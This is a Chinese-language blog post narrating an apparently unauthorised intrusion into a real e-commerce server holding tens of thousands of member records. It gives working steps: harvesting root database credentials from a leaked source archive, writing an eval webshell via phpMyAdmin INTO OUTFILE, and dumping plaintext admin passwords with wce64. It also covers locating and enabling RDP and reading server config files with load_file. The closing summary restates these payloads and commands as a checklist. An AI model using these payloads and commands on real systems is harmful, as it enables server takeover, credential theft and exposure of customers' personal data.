原始碼洩露獲取某電子商務網站伺服器許可權
原始碼洩露獲取某電子商務網站伺服器許可權
simeon
滲透本次目標事發偶然,通過shadon對“phpMyAdmin”關鍵字進行檢索時,加入“index Of”關鍵字後,會出現所有存在列目錄漏洞的網站,該網站為電子商務網站,網站保留有數萬會員真實資訊,下面將整過滲透過程進行分享。
1.發現目標
通過shadon搜尋引擎對搜尋記錄逐個開啟,發現某目標站點存在檔案目錄洩露漏洞:
http://203...227/
http://203...227/www..hk.rar
http://203...227/phpMyAdmin/
http://203...227/newshk/
目錄還有phpinfo.php檔案,看到phpMyAdmin和phpinfo.php同時存在,感覺伺服器許可權已經不遠了,如圖1所示,有網站原始碼打包檔案,將其下載到本地。
圖1檔案洩露
2.檢視原始碼打包檔案
整個原始碼壓縮包2.37 GB,真大!通過搜尋和檢視,確定資料庫配置檔案為config.php
如圖2所示,將其解壓到本地,使用notepad進行檢視,果然其中包含了資料庫配置資訊,而且還是root帳號,密碼雖然算弱口令,但也是弱口令中的強口令。
圖2尋找資料庫配置檔案
圖3獲取資料庫root帳號和密碼
3.尋找網站物理路徑
通過phpinfo.php檔案檢視,在瀏覽器中可以使用Ctrl+F快捷鍵搜尋關鍵字“SCRIPT_FILENAME”獲取其真實物理路徑地址,_SERVER[“SCRIPT_FILENAME”] D:/WWW/phpinfo.php,如圖4所示。
圖4獲取網站物理路勁
4.Mysql直接匯出Webshell
通過獲取的root帳號和密碼登入http://203...227/phpMyAdmin/,成功登入,如圖5所示,選擇SQL查詢,在其中查詢select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/www/p.php’匯出一句話後門。
圖5登入mysql資料庫
圖6查詢匯出一句話後門
6.獲取webshell
在瀏覽器中對http://203...227地址重新整理即可獲取一句話後門檔案地址:http://203...227/p.php,在瀏覽器中開啟進行訪問,一切正常。使用中國菜刀一句話後門管理軟體,shell新增並開啟,如圖7所示,順利獲取webshell
圖7獲取webshell
7.伺服器提權
目測該系統php執行許可權為系統許可權,上傳wce64.exe,然後在終端管理中輸入“wce64 -w”命令成功獲取管理員帳號密碼,如圖8所示。
圖8獲取管理員密碼
8.獲取3389埠
在終端管理器中執行netstat -an |find “3389”,無結果顯示,估計管理員修改了預設埠,使用tasklist /svc命令獲取程序名稱和服務,找到termservice所對應的程序號,可以直接使用命令 tasklist /svc | find"termService"來獲取對應的PID號,如圖9所示,在本例中對應的ID號是1340。
圖9獲取遠端終端服務對應的PID值
然後使用“netstat -ano”命令尋找1340對應的埠號,如圖10所示,對應的TCP埠為7755埠,也可以使用命令netstat -ano | find '1340’命令直接顯示。
圖10獲取終端服務對應的埠
9.登入遠端終端
在命令提示符下輸入mstsc.exe,開啟遠端終端登陸器,在3389遠端桌面登入中的地址中輸入“203...227:7755”,然後使用獲取的管理員密碼成功登入系統,如圖11所示。
圖11成功登入系統
10.域名反查
開啟http://www.yougetsignal.com/tools/web-sites-on-web-server/網站對IP地址203.*..227進行域名反查,如圖12所示,該IP下存在網站,開啟該網站,該網站為一個電子商務網站,在該網站中存在數萬會員資料,如圖13所示。
圖12域名反查
圖13存在1萬多條會員資訊
11.滲透總結與思考
對存在phpMyAdmin的站點,通過程式碼洩露等方法來獲取資料庫的密碼,然後通過讀取檔案或者匯出檔案來獲取webshell。
(1)3389埠命令列下獲取總結
netstat -an |find “3389” 檢視3389埠是否開放
tasklist /svc | find “TermService” 獲取對應TermService的PID號
netstat -ano | find ‘1340’ 檢視上面獲取的PID號對應的TCP埠號
(2)Windows 2008Server命令列開啟3389
wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != “”) call setallowtsconnections 1
wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName =‘RDP-Tcp’) call setuserauthenticationrequired 1
reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v
(3)wce64 -w 命令直接獲取系統明文登入密碼
(4)在phpinfo中查詢SCRIPT_FILENAME關鍵字獲取真實路徑
(5)phpmyadmin一句話後門匯出
select ‘<?php @eval($_POST[pass]);?>‘INTO OUTFILE ‘d:/www/p.php’
(6)phpstudy敏感配置檔案
select load_file(’ D:\phpStudy\Lighttpd\conf\vhosts.conf ‘);
select load_file(’ D:\phpStudy\Lighttpd\conf\ lighttpd.conf ‘);
select load_file(’ D:\phpStudy\Apache\conf\vhosts.conf’);
select load_file(’ D:\phpStudy\Apache\conf\httpd.conf’);
select load_file(‘c:\boot.ini’);
select load_file(‘c:\boot.ini’);
select load_file(’ D:\phpStudy\MySQL\my.ini’);
更多攻防內容請歡迎訪問本人在csdn上面創造的個人專欄:
《密碼安全攻防技術精講》:https://gitbook.cn/gitchat/column/5afbf24f753289354cab7983